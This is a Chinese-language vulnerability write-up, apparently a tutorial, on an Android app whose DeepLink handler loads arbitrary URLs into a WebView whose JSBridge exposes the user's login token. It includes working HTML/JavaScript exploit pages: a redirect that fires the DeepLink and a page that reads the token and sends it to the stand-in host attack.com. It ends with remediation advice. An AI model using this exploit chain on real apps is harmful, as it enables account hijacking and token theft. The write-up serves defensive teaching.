某APP组件存在权限漏洞可导致远程one click用户劫持
字数 1996 2025-09-23 19:27:38

Android DeepLink与JSBridge漏洞分析:远程One-Click用户劫持技术教学

0x00 前言

本教学文档基于某Android应用的权限漏洞分析,该漏洞可导致远程one-click用户劫持。目标应用为存在账号体系的Android App,通过分析发现其组件存在权限控制缺失问题。

0x01 漏洞发现过程

工具准备

  • 反编译工具:apktool、dex2jar、jadx
  • 推荐工具:TTDeDroid(GitHub开源项目,整合上述工具,处理版本兼容问题)
    • 项目地址:https://github.com/tp7309/TTDeDroid

Android应用漏洞核心类型

  1. 数据安全漏洞
    • 明文存储敏感信息
    • 敏感日志泄漏
  2. 业务逻辑漏洞
    • 与Web漏洞类似的业务缺陷
  3. 四大组件安全配置不当
    • 导出Activity:允许其他应用启动,可能绕过认证
    • 导出Service:其他应用可绑定或启动服务,执行未授权操作
    • 导出Content Provider:可能泄露敏感数据或允许数据修改
    • Intent劫持:未对接收Intent验证,导致恶意数据处理

深入挖掘:两大关键攻击面

1. DeepLink机制

DeepLink是Android系统中的特殊链接机制,允许应用响应特定URL格式,直接打开应用特定页面或执行操作。

示例配置

<activity android:name=".MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" android:host="main" />
    </intent-filter>
</activity>

通过浏览器打开 myapp://main 可启动MainActivity。

2. WebView安全风险

现代移动应用大量使用WebView,增加了安全风险概率。

漏洞发现关键点

关键DeepLink配置

发现host名称为"h5"的DeepLink配置,表明用于打开H5页面,意味着会启动WebView。

漏洞分析流程

  1. Activity跟踪:发现该Activity根据DeepLink携带的url参数使用WebView加载页面
  2. 安全缺陷:从获取url到加载WebView全过程未对url进行任何判断,仅限制file协议
  3. 攻击可能性:可通过DeepLink让应用WebView加载任意网站(包括恶意网页)
  4. JSBridge风险:WebView启用了JavaScript和JSBridge支持,可通过JS代码调用原生Android方法

JSBridge技术背景

JSBridge(JavaScript Bridge)实现Web页面(H5)与原生应用(Native)之间的双向通信,主要用于移动应用WebView中:

  • JavaScript调用设备原生功能(摄像头、地理位置、文件系统等)
  • 原生代码调用JavaScript函数传递数据或触发页面更新

功能验证

使用 target://h5?url=base64(www.baidu.com) 验证,在手机浏览器中打开后可跳转到百度页面,确认漏洞存在。

敏感方法发现

通过分析JSBridge注册方法,发现关键敏感方法:

  • 方法功能:获取用户保存在Provider中的登录token
  • 执行流程:通过回调方法调用WebView中的JS方法,将token传递回页面

0x02 完整利用链构建

攻击流程

  1. 创建恶意HTML文件:包含自动重定向代码,重定向到 target://h5?url=attack.com
  2. 用户访问:用户访问包含自动重定向的恶意页面
  3. DeepLink触发:页面自动触发深度链接 target://h5?url=attack.com,启动目标应用Activity
  4. 加载恶意页面:应用加载远程恶意页面 http://attack.com/m.html
  5. JS执行:恶意页面执行JavaScript代码,通过JSBridge接口调用getToken方法
  6. 数据外泄:获取的敏感信息发送到攻击者控制服务器 http://attack/data

代码示例(简化)

重定向HTML页面

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Redirecting...</title>
    <script>
        // 自动重定向到恶意DeepLink
        window.location.href = "target://h5?url=" + btoa("http://attack.com/m.html");
    </script>
</head>
<body>
    <p>Redirecting...</p>
</body>
</html>

恶意HTML页面(m.html)

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Loading...</title>
    <script>
        // 等待WebView初始化完成
        setTimeout(function() {
            // 调用JSBridge的getToken方法
            if(typeof window.jsBridge !== 'undefined') {
                window.jsBridge.getToken(function(token) {
                    // 将获取的token发送到攻击者服务器
                    var xhr = new XMLHttpRequest();
                    xhr.open("POST", "http://attack.com/data", true);
                    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                    xhr.send("token=" + encodeURIComponent(token));
                });
            }
        }, 2000);
    </script>
</head>
<body>
    <p>Page loading...</p>
</body>
</html>

0x03 修复建议

输入限制强化

  1. WebView URL限制
    • 使用 shouldOverrideUrlLoading 方法拦截与校验URL
    • 只允许加载特定可信域名

JSBridge调用安全

  1. 执行环境验证
    • 调用JSBridge时判断当前页面host
    • 仅允许特定可信host执行敏感方法

综合防护措施

  1. 深度防御策略
    • 组件导出权限最小化原则
    • 对所有输入数据进行严格验证和过滤
    • 敏感操作增加二次认证机制
    • 定期进行安全审计和渗透测试

总结

本漏洞展示了DeepLink与JSBridge结合使用时可能产生的严重安全风险。通过不安全的DeepLink配置结合WebView的任意URL加载能力,攻击者可构造恶意页面调用敏感JSBridge方法,最终实现远程one-click用户账号劫持。开发人员应高度重视移动应用的URL处理机制和WebView安全配置。

Android DeepLink与JSBridge漏洞分析:远程One-Click用户劫持技术教学 0x00 前言 本教学文档基于某Android应用的权限漏洞分析,该漏洞可导致远程one-click用户劫持。目标应用为存在账号体系的Android App,通过分析发现其组件存在权限控制缺失问题。 0x01 漏洞发现过程 工具准备 反编译工具 :apktool、dex2jar、jadx 推荐工具 :TTDeDroid(GitHub开源项目,整合上述工具,处理版本兼容问题) 项目地址:https://github.com/tp7309/TTDeDroid Android应用漏洞核心类型 数据安全漏洞 明文存储敏感信息 敏感日志泄漏 业务逻辑漏洞 与Web漏洞类似的业务缺陷 四大组件安全配置不当 导出Activity:允许其他应用启动,可能绕过认证 导出Service:其他应用可绑定或启动服务,执行未授权操作 导出Content Provider:可能泄露敏感数据或允许数据修改 Intent劫持:未对接收Intent验证,导致恶意数据处理 深入挖掘:两大关键攻击面 1. DeepLink机制 DeepLink是Android系统中的特殊链接机制,允许应用响应特定URL格式,直接打开应用特定页面或执行操作。 示例配置 : 通过浏览器打开 myapp://main 可启动MainActivity。 2. WebView安全风险 现代移动应用大量使用WebView,增加了安全风险概率。 漏洞发现关键点 关键DeepLink配置 发现host名称为"h5"的DeepLink配置,表明用于打开H5页面,意味着会启动WebView。 漏洞分析流程 Activity跟踪 :发现该Activity根据DeepLink携带的url参数使用WebView加载页面 安全缺陷 :从获取url到加载WebView全过程未对url进行任何判断,仅限制file协议 攻击可能性 :可通过DeepLink让应用WebView加载任意网站(包括恶意网页) JSBridge风险 :WebView启用了JavaScript和JSBridge支持,可通过JS代码调用原生Android方法 JSBridge技术背景 JSBridge(JavaScript Bridge)实现Web页面(H5)与原生应用(Native)之间的双向通信,主要用于移动应用WebView中: JavaScript调用设备原生功能(摄像头、地理位置、文件系统等) 原生代码调用JavaScript函数传递数据或触发页面更新 功能验证 使用 target://h5?url=base64(www.baidu.com) 验证,在手机浏览器中打开后可跳转到百度页面,确认漏洞存在。 敏感方法发现 通过分析JSBridge注册方法,发现关键敏感方法: 方法功能 :获取用户保存在Provider中的登录token 执行流程 :通过回调方法调用WebView中的JS方法,将token传递回页面 0x02 完整利用链构建 攻击流程 创建恶意HTML文件 :包含自动重定向代码,重定向到 target://h5?url=attack.com 用户访问 :用户访问包含自动重定向的恶意页面 DeepLink触发 :页面自动触发深度链接 target://h5?url=attack.com ,启动目标应用Activity 加载恶意页面 :应用加载远程恶意页面 http://attack.com/m.html JS执行 :恶意页面执行JavaScript代码,通过JSBridge接口调用getToken方法 数据外泄 :获取的敏感信息发送到攻击者控制服务器 http://attack/data 代码示例(简化) 重定向HTML页面 : 恶意HTML页面(m.html) : 0x03 修复建议 输入限制强化 WebView URL限制 使用 shouldOverrideUrlLoading 方法拦截与校验URL 只允许加载特定可信域名 JSBridge调用安全 执行环境验证 调用JSBridge时判断当前页面host 仅允许特定可信host执行敏感方法 综合防护措施 深度防御策略 组件导出权限最小化原则 对所有输入数据进行严格验证和过滤 敏感操作增加二次认证机制 定期进行安全审计和渗透测试 总结 本漏洞展示了DeepLink与JSBridge结合使用时可能产生的严重安全风险。通过不安全的DeepLink配置结合WebView的任意URL加载能力,攻击者可构造恶意页面调用敏感JSBridge方法,最终实现远程one-click用户账号劫持。开发人员应高度重视移动应用的URL处理机制和WebView安全配置。